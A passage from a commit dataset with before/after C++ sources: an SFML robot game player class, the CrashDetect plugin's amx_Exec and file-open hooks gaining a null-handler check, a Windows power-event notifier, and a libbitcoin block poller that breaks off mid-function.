new_location.y + ROBOTSIZE <= level->getBounds().y)\n\t{\n\t\/\/\tstd::cout<< collision << \"\\n\";\n\t\tposition = new_location; \/\/ Update location\n\t}\n\tcollectedScrews += level->screwCollision(position,player_box);\n\t\n\tanimatedSprite->update(sf::seconds(0.02));\n\tanimatedSprite->setPosition(position);\n}\n\nvoid Player::setMovementDirection(int direction)\n{\n\t\n\tswitch(direction)\n\t{\n\t\tcase DIRECTION_LEFT:\n\t\tmoveVector = sf::Vector2f(-1,0);\n\t\tbreak;\n\n\t\tcase DIRECTION_LEFT_UP:\n\t\tmoveVector = sf::Vector2f(-1,-1);\n\t\tbreak;\n\t\t\n\t\tcase DIRECTION_LEFT_DOWN:\n\t\tmoveVector = sf::Vector2f(-1,1);\n\t\tbreak;\n\n\t\tcase DIRECTION_RIGHT:\n\t\tmoveVector = sf::Vector2f(1,0);\n\t\tbreak;\n\t\t\n\t\tcase DIRECTION_RIGHT_UP:\n\t\tmoveVector = sf::Vector2f(1,-1);\n\t\tbreak;\n\t\t\n\t\tcase DIRECTION_RIGHT_DOWN:\n\t\tmoveVector = sf::Vector2f(1,1);\n\t\tbreak;\n\n\t\tcase DIRECTION_UP:\n\t\tmoveVector = sf::Vector2f(0,-1);\n\t\tbreak;\n\n\t\tcase DIRECTION_DOWN:\n\t\tmoveVector = sf::Vector2f(0,1);\n\t\tbreak;\n\n\t\tdefault:\n\t\t\/\/moveVector = sf::Vector2f(0,0);\n\t\tbreak;\n\t}\n}\n\n\nsf::Vector2f Player::getPosition()\n{\n\treturn position;\n}\n\n\t\n\nvoid Player::onDeath()\n{\n\n}\nvoid Player::resetLevel(Level* level)\n{\n\t*this->level = *level;\n\tposition = level->getPlayerStart();\n}\n\nvoid Player::draw(sf::RenderTarget& target,sf::RenderStates states)const\n{\n\t\/*sf::Sprite sprite_playeVr;\n\tsprite_player.setTexture(tex_player);\n\tsprite_player.setPosition(position);\n\n\ttarget.draw(sprite_player);*\/\n\n\tsf::Time t = sf::seconds(0.2);\n\tanimatedSprite->play(*ani);\n\ttarget.draw(*animatedSprite);\n\t\n\t\/\/draw stats\n\tstd::stringstream str;\n\tstr << collectedScrews << \" Schrauben gesammelt\\n\";\n\t\n\tsf::Text stats;\n\tstats.setFont(roboto_bold);\n\tstats.setString(str.str());\n\tstats.setCharacterSize(30);\n\tstats.setPosition(position - sf::Vector2f(600,350));\n\ttarget.draw(stats);\n}\n<commit_msg>bugfix<commit_after>#include \"player.h\"\n\nPlayer::Player()\n{\n\t\n}\n\n\nPlayer::Player(Level* lev)\n{\n\tmoveVector = sf::Vector2f(0,0);\n\tposition = lev->getPlayerStart();\n\/\/\tstd::cout << \"pos: \" << position.x << \",\" << position.y << \"\\n\";\n\/\/\tinitPlayer();\n\tmovementSpeed = 8;\n\tlevel = lev;\n\tcollectedScrews = 0;\n\/\/\torientation = DIRECTION_LEFT;\n\/\/\ts = SoundHandler::getSoundHandler();\n\/\/\tshooting = false;\n\/\/\treload_time = 40;\n\/\/\tshoot_threshold = 0;\n\/\/\tleben = 100.0f;\n\troboto_bold.loadFromFile(\"assets\/Roboto-Bold.ttf\");\n\ttex_player.loadFromFile(\"assets\/robot_ani.png\");\n\tani = new Animation();\n\tani->setSpriteSheet(tex_player);\n\tani->addFrame(sf::IntRect(0, 0, 80, 80));\n\tani->addFrame(sf::IntRect(80, 0, 80, 80));\n\tanimatedSprite = new AnimatedSprite(sf::seconds(0.2), true, false);\n}\n\n\nvoid Player::move()\n{\n\t\n\t\n\t\n\tsf::Vector2f mV = moveVector*movementSpeed;\n\t\n\t\/\/std::cout << \"move\\n\" << mV.x << \" \" <<mV.y<<\"\\n\";\n\t\n\t\n\t\n\t\/\/ Bounding box of the player(after the move)\n\tsf::FloatRect* player_box = new sf::FloatRect(position + mV,sf::Vector2f(ROBOTSIZE,ROBOTSIZE));\n\t\n\t\/\/check if hit exit\n\tif(level->isExit(position + mV,player_box))\n\t{\n\t\tresetLevel(new Level(level->getNextLevel()));\n\t\tstd::cout << \"Exit\\n\";\n\t}\n\t\n\t\/\/check for wall Collisions\n\tmV = level->wallCollision(position,player_box,mV);\n\t\n\t\/\/ Update the player location\n\tsf::Vector2f new_location(position + mV);\n\t\/\/std::cout << \"pos: \" << position.x << \",\" << position.y << \"\\n\";\n\t\n\n\t\/\/std::cout << \"move\\n\" << mV.x << \" \" <<mV.y<<\"\\n\";\n\n\t\n\t\n\t\/\/ Check if new position is inside the game area\n\tif(new_location.x >= 0\n\t\t&& new_location.x + ROBOTSIZE <= level->getBounds().x\n\t\t&& new_location.y >= 0\n\t\t&& new_location.y + ROBOTSIZE <= level->getBounds().y)\n\t{\n\t\/\/\tstd::cout<< collision << \"\\n\";\n\t\tposition = new_location; \/\/ Update location\n\t}\n\tcollectedScrews += level->screwCollision(position,player_box);\n\t\n\tanimatedSprite->update(sf::seconds(0.02));\n\tanimatedSprite->setPosition(position);\n}\n\nvoid Player::setMovementDirection(int direction)\n{\n\t\n\tswitch(direction)\n\t{\n\t\tcase DIRECTION_LEFT:\n\t\tmoveVector = sf::Vector2f(-1,0);\n\t\tbreak;\n\n\t\tcase DIRECTION_LEFT_UP:\n\t\tmoveVector = sf::Vector2f(-1,-1);\n\t\tbreak;\n\t\t\n\t\tcase DIRECTION_LEFT_DOWN:\n\t\tmoveVector = sf::Vector2f(-1,1);\n\t\tbreak;\n\n\t\tcase DIRECTION_RIGHT:\n\t\tmoveVector = sf::Vector2f(1,0);\n\t\tbreak;\n\t\t\n\t\tcase DIRECTION_RIGHT_UP:\n\t\tmoveVector = sf::Vector2f(1,-1);\n\t\tbreak;\n\t\t\n\t\tcase DIRECTION_RIGHT_DOWN:\n\t\tmoveVector = sf::Vector2f(1,1);\n\t\tbreak;\n\n\t\tcase DIRECTION_UP:\n\t\tmoveVector = sf::Vector2f(0,-1);\n\t\tbreak;\n\n\t\tcase DIRECTION_DOWN:\n\t\tmoveVector = sf::Vector2f(0,1);\n\t\tbreak;\n\n\t\tdefault:\n\t\tmoveVector = sf::Vector2f(0,0);\n\t\tbreak;\n\t}\n}\n\n\nsf::Vector2f Player::getPosition()\n{\n\treturn position;\n}\n\n\t\n\nvoid Player::onDeath()\n{\n\n}\nvoid Player::resetLevel(Level* level)\n{\n\t*this->level = *level;\n\tposition = level->getPlayerStart();\n}\n\nvoid Player::draw(sf::RenderTarget& target,sf::RenderStates states)const\n{\n\t\/*sf::Sprite sprite_playeVr;\n\tsprite_player.setTexture(tex_player);\n\tsprite_player.setPosition(position);\n\n\ttarget.draw(sprite_player);*\/\n\n\tsf::Time t = sf::seconds(0.2);\n\tanimatedSprite->play(*ani);\n\ttarget.draw(*animatedSprite);\n\t\n\t\/\/draw stats\n\tstd::stringstream str;\n\tstr << collectedScrews << \" Schrauben gesammelt\\n\";\n\t\n\tsf::Text stats;\n\tstats.setFont(roboto_bold);\n\tstats.setString(str.str());\n\tstats.setCharacterSize(30);\n\tstats.setPosition(position - sf::Vector2f(600,350));\n\ttarget.draw(stats);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011-2015 Zeex\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ 1. Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ 2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/ this list of conditions and the following disclaimer in the documentation\n\/\/ and\/or other materials provided with the distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#include <functional>\n#include <sstream>\n#include <string>\n#include <subhook.h>\n#ifdef _WIN32\n #include <windows.h>\n#else\n #include <stdio.h>\n#endif\n#include \"amxerror.h\"\n#include \"amxpathfinder.h\"\n#include \"crashdetecthandler.h\"\n#include \"fileutils.h\"\n#include \"logprintf.h\"\n#include \"natives.h\"\n#include \"os.h\"\n#include \"plugincommon.h\"\n#include \"pluginversion.h\"\n#include \"stringutils.h\"\n\nnamespace {\n\nsubhook::Hook amx_exec_hook;\n\n\/\/ Path to the last loaded AMX file. This is used to make a connection between\n\/\/ *.amx files and their corresponding AMX instances.\nstd::string last_amx_path;\n\n\/\/ Stores paths to loaded AMX files and is able to find a path by a pointer to\n\/\/ an AMX instance.\nAMXPathFinder amx_path_finder;\n\n#ifdef _WIN32\n subhook::Hook create_file_hook;\n\n HANDLE\n WINAPI\n CreateFileHookA(\n _In_ LPCSTR lpFileName,\n _In_ DWORD dwDesiredAccess,\n _In_ DWORD dwShareMode,\n _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n _In_ DWORD dwCreationDisposition,\n _In_ DWORD dwFlagsAndAttributes,\n _In_opt_ HANDLE hTemplateFile)\n {\n subhook::ScopedHookRemove _(&create_file_hook);\n\n std::string file_ext(fileutils::GetExtenstion(lpFileName));\n if (stringutils::ToLower(file_ext) == \"amx\") {\n last_amx_path = lpFileName;\n }\n\n return CreateFileA(\n lpFileName,\n dwDesiredAccess,\n dwShareMode,\n lpSecurityAttributes,\n dwCreationDisposition,\n dwFlagsAndAttributes,\n hTemplateFile);\n }\n#else\n subhook::Hook fopen_hook;\n\n FILE *FopenHook(const char *filename, const char *mode) {\n subhook::ScopedHookRemove _(&fopen_hook);\n\n std::string file_ext(fileutils::GetExtenstion(filename));\n if (stringutils::ToLower(file_ext) == \"amx\") {\n last_amx_path = filename;\n }\n\n return fopen(filename, mode);\n }\n#endif\n\nint AMXAPI AmxDebug(AMX *amx) {\n return CrashDetectHandler::GetHandler(amx)->HandleAMXDebug();\n}\n\nint AMXAPI AmxCallback(AMX *amx, cell index, cell *result, cell *params) {\n CrashDetectHandler *handler = CrashDetectHandler::GetHandler(amx);\n return handler->HandleAMXCallback(index, result, params);\n}\n\nint AMXAPI AmxExec(AMX *amx, cell *retval, int index) {\n if (amx->flags & AMX_FLAG_BROWSE) {\n return amx_Exec(amx, retval, index);\n }\n return CrashDetectHandler::GetHandler(amx)->HandleAMXExec(retval, index);\n}\n\nvoid AMXAPI AmxExecError(AMX *amx, cell index, cell *retval, int error) {\n CrashDetectHandler *handler = CrashDetectHandler::GetHandler(amx);\n handler->HandleAMXExecError(index, retval, error);\n}\n\n} \/\/ anonymous namespace\n\nPLUGIN_EXPORT unsigned int PLUGIN_CALL Supports() {\n return SUPPORTS_VERSION | SUPPORTS_AMX_NATIVES;\n}\n\nPLUGIN_EXPORT bool PLUGIN_CALL Load(void **ppData) {\n void **exports = reinterpret_cast<void**>(ppData[PLUGIN_DATA_AMX_EXPORTS]);\n ::logprintf = (logprintf_t)ppData[PLUGIN_DATA_LOGPRINTF];\n\n void *amx_Exec_ptr = exports[PLUGIN_AMX_EXPORT_Exec];\n void *amx_Exec_sub = subhook::Hook::ReadDst(amx_Exec_ptr);\n\n if (amx_Exec_sub == 0) {\n amx_exec_hook.Install(amx_Exec_ptr, (void*)AmxExec);\n } else {\n std::string module =\n fileutils::GetFileName(os::GetModuleName(amx_Exec_sub));\n if (!module.empty()) {\n logprintf(\" CrashDetect must be loaded before '%s'\", module.c_str());\n }\n return false;\n }\n\n #if _WIN32\n create_file_hook.Install((void*)CreateFileA, (void*)CreateFileHookA);\n #else\n fopen_hook.Install((void*)fopen, (void*)FopenHook);\n #endif\n\n amx_path_finder.AddSearchPath(\"gamemodes\");\n amx_path_finder.AddSearchPath(\"filterscripts\");\n\n const char *amx_path_var = getenv(\"AMX_PATH\");\n if (amx_path_var != 0) {\n stringutils::SplitString(\n amx_path_var,\n fileutils::kNativePathListSepChar,\n std::bind1st(std::mem_fun(&AMXPathFinder::AddSearchPath),\n &amx_path_finder));\n }\n\n os::SetCrashHandler(CrashDetectHandler::OnCrash);\n os::SetInterruptHandler(CrashDetectHandler::OnInterrupt);\n\n logprintf(\" CrashDetect plugin \" PROJECT_VERSION_STRING);\n return true;\n}\n\nPLUGIN_EXPORT int PLUGIN_CALL AmxLoad(AMX *amx) {\n if (last_amx_path.length() != 0) {\n amx_path_finder.AddKnownFile(amx, last_amx_path);\n }\n\n CrashDetectHandler *handler = CrashDetectHandler::CreateHandler(amx);\n handler->set_amx_path_finder(&amx_path_finder);\n handler->Load();\n\n amx_SetDebugHook(amx, AmxDebug);\n amx_SetCallback(amx, AmxCallback);\n amx_SetExecErrorHandler(amx, AmxExecError);\n\n RegisterNatives(amx);\n return AMX_ERR_NONE;\n}\n\nPLUGIN_EXPORT int PLUGIN_CALL AmxUnload(AMX *amx) {\n CrashDetectHandler::GetHandler(amx)->Unload();\n CrashDetectHandler::DestroyHandler(amx);\n return AMX_ERR_NONE;\n}\n<commit_msg>Add null handler check in amx_Exec() hook<commit_after>\/\/ Copyright (c) 2011-2015 Zeex\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ 1. Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ 2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/ this list of conditions and the following disclaimer in the documentation\n\/\/ and\/or other materials provided with the distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#include <functional>\n#include <sstream>\n#include <string>\n#include <subhook.h>\n#ifdef _WIN32\n #include <windows.h>\n#else\n #include <stdio.h>\n#endif\n#include \"amxerror.h\"\n#include \"amxpathfinder.h\"\n#include \"crashdetecthandler.h\"\n#include \"fileutils.h\"\n#include \"logprintf.h\"\n#include \"natives.h\"\n#include \"os.h\"\n#include \"plugincommon.h\"\n#include \"pluginversion.h\"\n#include \"stringutils.h\"\n\nnamespace {\n\nsubhook::Hook amx_exec_hook;\n\n\/\/ Path to the last loaded AMX file. This is used to make a connection between\n\/\/ *.amx files and their corresponding AMX instances.\nstd::string last_amx_path;\n\n\/\/ Stores paths to loaded AMX files and is able to find a path by a pointer to\n\/\/ an AMX instance.\nAMXPathFinder amx_path_finder;\n\n#ifdef _WIN32\n subhook::Hook create_file_hook;\n\n HANDLE\n WINAPI\n CreateFileHookA(\n _In_ LPCSTR lpFileName,\n _In_ DWORD dwDesiredAccess,\n _In_ DWORD dwShareMode,\n _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n _In_ DWORD dwCreationDisposition,\n _In_ DWORD dwFlagsAndAttributes,\n _In_opt_ HANDLE hTemplateFile)\n {\n subhook::ScopedHookRemove _(&create_file_hook);\n\n std::string file_ext(fileutils::GetExtenstion(lpFileName));\n if (stringutils::ToLower(file_ext) == \"amx\") {\n last_amx_path = lpFileName;\n }\n\n return CreateFileA(\n lpFileName,\n dwDesiredAccess,\n dwShareMode,\n lpSecurityAttributes,\n dwCreationDisposition,\n dwFlagsAndAttributes,\n hTemplateFile);\n }\n#else\n subhook::Hook fopen_hook;\n\n FILE *FopenHook(const char *filename, const char *mode) {\n subhook::ScopedHookRemove _(&fopen_hook);\n\n std::string file_ext(fileutils::GetExtenstion(filename));\n if (stringutils::ToLower(file_ext) == \"amx\") {\n last_amx_path = filename;\n }\n\n return fopen(filename, mode);\n }\n#endif\n\nint AMXAPI AmxDebug(AMX *amx) {\n return CrashDetectHandler::GetHandler(amx)->HandleAMXDebug();\n}\n\nint AMXAPI AmxCallback(AMX *amx, cell index, cell *result, cell *params) {\n CrashDetectHandler *handler = CrashDetectHandler::GetHandler(amx);\n return handler->HandleAMXCallback(index, result, params);\n}\n\nint AMXAPI AmxExec(AMX *amx, cell *retval, int index) {\n if (amx->flags & AMX_FLAG_BROWSE) {\n return amx_Exec(amx, retval, index);\n }\n CrashDetectHandler *handler = CrashDetectHandler::GetHandler(amx);\n if (handler == 0) {\n return amx_Exec(amx, retval, index);\n }\n return handler->HandleAMXExec(retval, index);\n}\n\nvoid AMXAPI AmxExecError(AMX *amx, cell index, cell *retval, int error) {\n CrashDetectHandler *handler = CrashDetectHandler::GetHandler(amx);\n handler->HandleAMXExecError(index, retval, error);\n}\n\n} \/\/ anonymous namespace\n\nPLUGIN_EXPORT unsigned int PLUGIN_CALL Supports() {\n return SUPPORTS_VERSION | SUPPORTS_AMX_NATIVES;\n}\n\nPLUGIN_EXPORT bool PLUGIN_CALL Load(void **ppData) {\n void **exports = reinterpret_cast<void**>(ppData[PLUGIN_DATA_AMX_EXPORTS]);\n ::logprintf = (logprintf_t)ppData[PLUGIN_DATA_LOGPRINTF];\n\n void *amx_Exec_ptr = exports[PLUGIN_AMX_EXPORT_Exec];\n void *amx_Exec_sub = subhook::Hook::ReadDst(amx_Exec_ptr);\n\n if (amx_Exec_sub == 0) {\n amx_exec_hook.Install(amx_Exec_ptr, (void*)AmxExec);\n } else {\n std::string module =\n fileutils::GetFileName(os::GetModuleName(amx_Exec_sub));\n if (!module.empty()) {\n logprintf(\" CrashDetect must be loaded before '%s'\", module.c_str());\n }\n return false;\n }\n\n #if _WIN32\n create_file_hook.Install((void*)CreateFileA, (void*)CreateFileHookA);\n #else\n fopen_hook.Install((void*)fopen, (void*)FopenHook);\n #endif\n\n amx_path_finder.AddSearchPath(\"gamemodes\");\n amx_path_finder.AddSearchPath(\"filterscripts\");\n\n const char *amx_path_var = getenv(\"AMX_PATH\");\n if (amx_path_var != 0) {\n stringutils::SplitString(\n amx_path_var,\n fileutils::kNativePathListSepChar,\n std::bind1st(std::mem_fun(&AMXPathFinder::AddSearchPath),\n &amx_path_finder));\n }\n\n os::SetCrashHandler(CrashDetectHandler::OnCrash);\n os::SetInterruptHandler(CrashDetectHandler::OnInterrupt);\n\n logprintf(\" CrashDetect plugin \" PROJECT_VERSION_STRING);\n return true;\n}\n\nPLUGIN_EXPORT int PLUGIN_CALL AmxLoad(AMX *amx) {\n if (last_amx_path.length() != 0) {\n amx_path_finder.AddKnownFile(amx, last_amx_path);\n }\n\n CrashDetectHandler *handler = CrashDetectHandler::CreateHandler(amx);\n handler->set_amx_path_finder(&amx_path_finder);\n handler->Load();\n\n amx_SetDebugHook(amx, AmxDebug);\n amx_SetCallback(amx, AmxCallback);\n amx_SetExecErrorHandler(amx, AmxExecError);\n\n RegisterNatives(amx);\n return AMX_ERR_NONE;\n}\n\nPLUGIN_EXPORT int PLUGIN_CALL AmxUnload(AMX *amx) {\n CrashDetectHandler::GetHandler(amx)->Unload();\n CrashDetectHandler::DestroyHandler(amx);\n return AMX_ERR_NONE;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <uv.h>\n#include <windows.h>\n#include <stdio.h>\n#include <tchar.h>\n#include <strsafe.h>\n\n#include \"pm.h\"\n#include \"constants.h\"\n\n\n#define MAX_THREAD_WINDOW_NAME 64\n\nHWND handle;\nDWORD threadId;\nHANDLE threadHandle;\n\nHANDLE notifyEvent;\n\nchar *notify_msg;\n\nbool isRunning = false;\n\nDWORD WINAPI ListenerThread( LPVOID lpParam );\n\nvoid NotifyAsync(uv_work_t* req);\nvoid NotifyFinished(uv_work_t* req);\n\n\nvoid NotifyAsync(uv_work_t* req)\n{\n WaitForSingleObject(notifyEvent, INFINITE);\n}\n\n\nvoid NotifyFinished(uv_work_t* req)\n{\n if (isRunning)\n {\n Notify(notify_msg);\n }\n\n uv_queue_work(uv_default_loop(), req, NotifyAsync, (uv_after_work_cb)NotifyFinished);\n}\n\nstatic long FAR PASCAL WindowProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)\n{\n if(message == WM_POWERBROADCAST)\n {\n\t\t\/\/ printf(\"%d\\n\", wParam);\n\t\tif (wParam == PBT_APMRESUMESUSPEND)\n\t\t{\n\t\t\t\/\/ printf(\"wake\\n\");\n\n notify_msg = (char *)WAKE_NOTIFY;\n SetEvent(notifyEvent);\n\t\t}\n\n\t\tif (wParam == PBT_APMRESUMEAUTOMATIC)\n\t\t{\n\t\t\t\/\/ printf(\"waking\\n\");\n \/\/ strcpy(notify_msg, \"waking\");\n \/\/ SetEvent(notifyEvent);\n\t\t}\n\n\t\tif (wParam == PBT_APMSUSPEND)\n\t\t{\n\t\t\t\/\/ printf(\"sleeping\\n\");\n\n notify_msg = (char *)SLEEP_NOTIFY;\n SetEvent(notifyEvent);\n\t\t}\n\n\t\tif (wParam == PBT_APMPOWERSTATUSCHANGE)\n\t\t{\n\t\t\t\/\/ printf(\"PBT_APMPOWERSTATUSCHANGE\\n\");\n \/\/ SetEvent(notifyEvent);\n\t\t}\n\n \/\/Do something\n return TRUE;\n }\n else\n return DefWindowProc(hWnd, message, wParam, lParam);\n}\n\nDWORD WINAPI ListenerThread( LPVOID lpParam ) \n{\n char className[MAX_THREAD_WINDOW_NAME];\n _snprintf(className, MAX_THREAD_WINDOW_NAME, \"ListnerThreadPmNotify_%d\", GetCurrentThreadId());\n\n WNDCLASS wc = {0};\n\n \/\/ Set up and register window class\n wc.lpfnWndProc = (WNDPROC)WindowProc;\n wc.lpszClassName = className;\n RegisterClass(&wc);\n HWND hWin = CreateWindow(className, className, 0, 0, 0, 0, 0, NULL, NULL, NULL, 0);\n\n BOOL bRet;\n MSG msg;\n while( (bRet = GetMessage( &msg, hWin, 0, 0 )) != 0)\n { \n if (bRet == -1)\n {\n \/\/ handle the error and possibly exit\n }\n else\n {\n TranslateMessage(&msg); \n DispatchMessage(&msg); \n }\n }\n\n return 0;\n}\n\nvoid Start()\n{\n isRunning = true;\n}\n\nvoid Stop()\n{\n isRunning = false;\n}\n\nvoid InitPM()\n{\n notifyEvent = CreateEvent(NULL, false \/* auto-reset event *\/, false \/* non-signalled state *\/, \"\");\n \n threadHandle = CreateThread( \n NULL, \/\/ default security attributes\n 0, \/\/ use default stack size \n ListenerThread, \/\/ thread function name\n NULL, \/\/ argument to thread function \n 0, \/\/ use default creation flags \n &threadId); \n\n uv_work_t* req = new uv_work_t();\n uv_queue_work(uv_default_loop(), req, NotifyAsync, (uv_after_work_cb)NotifyFinished);\n\n Start();\n}<commit_msg>Remove compiler warnings<commit_after>#include <uv.h>\n#include <windows.h>\n#include <stdio.h>\n#include <tchar.h>\n#include <strsafe.h>\n\n#include \"pm.h\"\n#include \"constants.h\"\n\n\n#define MAX_THREAD_WINDOW_NAME 64\n\nHWND handle;\nDWORD threadId;\nHANDLE threadHandle;\n\nHANDLE notifyEvent;\n\nchar *notify_msg;\n\nbool isRunning = false;\n\nDWORD WINAPI ListenerThread( LPVOID lpParam );\n\nvoid NotifyAsync(uv_work_t* req);\nvoid NotifyFinished(uv_work_t* req);\n\n\nvoid NotifyAsync(uv_work_t* req)\n{\n WaitForSingleObject(notifyEvent, INFINITE);\n}\n\n\nvoid NotifyFinished(uv_work_t* req)\n{\n if (isRunning)\n {\n Notify(notify_msg);\n }\n\n uv_queue_work(uv_default_loop(), req, NotifyAsync, (uv_after_work_cb)NotifyFinished);\n}\n\nstatic LRESULT FAR PASCAL WindowProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)\n{\n if(message == WM_POWERBROADCAST)\n {\n\t\t\/\/ printf(\"%d\\n\", wParam);\n\t\tif (wParam == PBT_APMRESUMESUSPEND)\n\t\t{\n\t\t\t\/\/ printf(\"wake\\n\");\n\n notify_msg = (char *)WAKE_NOTIFY;\n SetEvent(notifyEvent);\n\t\t}\n\n\t\tif (wParam == PBT_APMRESUMEAUTOMATIC)\n\t\t{\n\t\t\t\/\/ printf(\"waking\\n\");\n \/\/ strcpy(notify_msg, \"waking\");\n \/\/ SetEvent(notifyEvent);\n\t\t}\n\n\t\tif (wParam == PBT_APMSUSPEND)\n\t\t{\n\t\t\t\/\/ printf(\"sleeping\\n\");\n\n notify_msg = (char *)SLEEP_NOTIFY;\n SetEvent(notifyEvent);\n\t\t}\n\n\t\tif (wParam == PBT_APMPOWERSTATUSCHANGE)\n\t\t{\n\t\t\t\/\/ printf(\"PBT_APMPOWERSTATUSCHANGE\\n\");\n \/\/ SetEvent(notifyEvent);\n\t\t}\n\n \/\/Do something\n return TRUE;\n }\n else\n return DefWindowProc(hWnd, message, wParam, lParam);\n}\n\nDWORD WINAPI ListenerThread( LPVOID lpParam ) \n{\n char className[MAX_THREAD_WINDOW_NAME];\n _snprintf_s(className, MAX_THREAD_WINDOW_NAME, \"ListnerThreadPmNotify_%d\", GetCurrentThreadId());\n\n WNDCLASS wc = {0};\n\n \/\/ Set up and register window class\n wc.lpfnWndProc = (WNDPROC)WindowProc;\n wc.lpszClassName = className;\n RegisterClass(&wc);\n HWND hWin = CreateWindow(className, className, 0, 0, 0, 0, 0, NULL, NULL, NULL, 0);\n\n BOOL bRet;\n MSG msg;\n while( (bRet = GetMessage( &msg, hWin, 0, 0 )) != 0)\n { \n if (bRet == -1)\n {\n \/\/ handle the error and possibly exit\n }\n else\n {\n TranslateMessage(&msg); \n DispatchMessage(&msg); \n }\n }\n\n return 0;\n}\n\nvoid Start()\n{\n isRunning = true;\n}\n\nvoid Stop()\n{\n isRunning = false;\n}\n\nvoid InitPM()\n{\n notifyEvent = CreateEvent(NULL, false \/* auto-reset event *\/, false \/* non-signalled state *\/, \"\");\n \n threadHandle = CreateThread( \n NULL, \/\/ default security attributes\n 0, \/\/ use default stack size \n ListenerThread, \/\/ thread function name\n NULL, \/\/ argument to thread function \n 0, \/\/ use default creation flags \n &threadId); \n\n uv_work_t* req = new uv_work_t();\n uv_queue_work(uv_default_loop(), req, NotifyAsync, (uv_after_work_cb)NotifyFinished);\n\n Start();\n}<|endoftext|>"} {"text":"<commit_before>#include <bitcoin\/poller.hpp>\n\n#include <bitcoin\/utility\/logger.hpp>\n\nnamespace libbitcoin {\n\nusing std::placeholders::_1;\nusing std::placeholders::_2;\n\npoller::poller(async_service& service, blockchain& chain)\n : strand_(service.get_service()), chain_(chain)\n{\n}\n\nvoid poller::query(channel_ptr node)\n{\n fetch_block_locator(chain_,\n std::bind(&poller::initial_ask_blocks,\n this, _1, _2, node));\n}\n\nvoid poller::monitor(channel_ptr node)\n{\n node->subscribe_inventory(\n strand_.wrap(std::bind(&poller::receive_inv,\n this, _1, _2, node)));\n node->subscribe_block(\n std::bind(&poller::receive_block,\n this, _1, _2, node));\n}\n\nvoid poller::initial_ask_blocks(const std::error_code& ec,\n const message::block_locator& locator, channel_ptr node)\n{\n if (ec)\n {\n log_error(log_domain::poller)\n << \"Fetching initial block locator: \" << ec.message();\n return;\n }\n strand_.dispatch(std::bind(&poller::ask_blocks,\n this, ec, locator, null_hash, node));\n}\n\nvoid handle_send_packet(const std::error_code& ec)\n{\n if (ec)\n log_error(log_domain::poller)\n << \"Send problem: \" << ec.message();\n}\n\nvoid poller::receive_inv(const std::error_code& ec,\n const message::inventory& packet, channel_ptr node)\n{\n if (ec)\n {\n log_error(log_domain::poller)\n << \"Received bad inventory: \" << ec.message();\n return;\n }\n \/\/ Filter out only block inventories\n message::get_data getdata;\n for (const message::inventory_vector& ivv: packet.inventories)\n {\n if (ivv.type != message::inventory_type::block)\n continue;\n \/\/ Already got this block\n if (ivv.hash == last_block_hash_)\n continue;\n getdata.inventories.push_back(ivv);\n }\n if (!getdata.inventories.empty())\n {\n last_block_hash_ = getdata.inventories.back().hash;\n node->send(getdata, handle_send_packet);\n }\n node->subscribe_inventory(\n strand_.wrap(std::bind(&poller::receive_inv,\n this, _1, _2, node)));\n}\n\nvoid poller::receive_block(const std::error_code& ec,\n const message::block& blk, channel_ptr node)\n{\n if (ec)\n {\n log_error(log_domain::poller)\n << \"Received bad block: \" << ec.message();\n return;\n }\n chain_.store(blk,\n std::bind(&poller::handle_store,\n this, _1, _2, 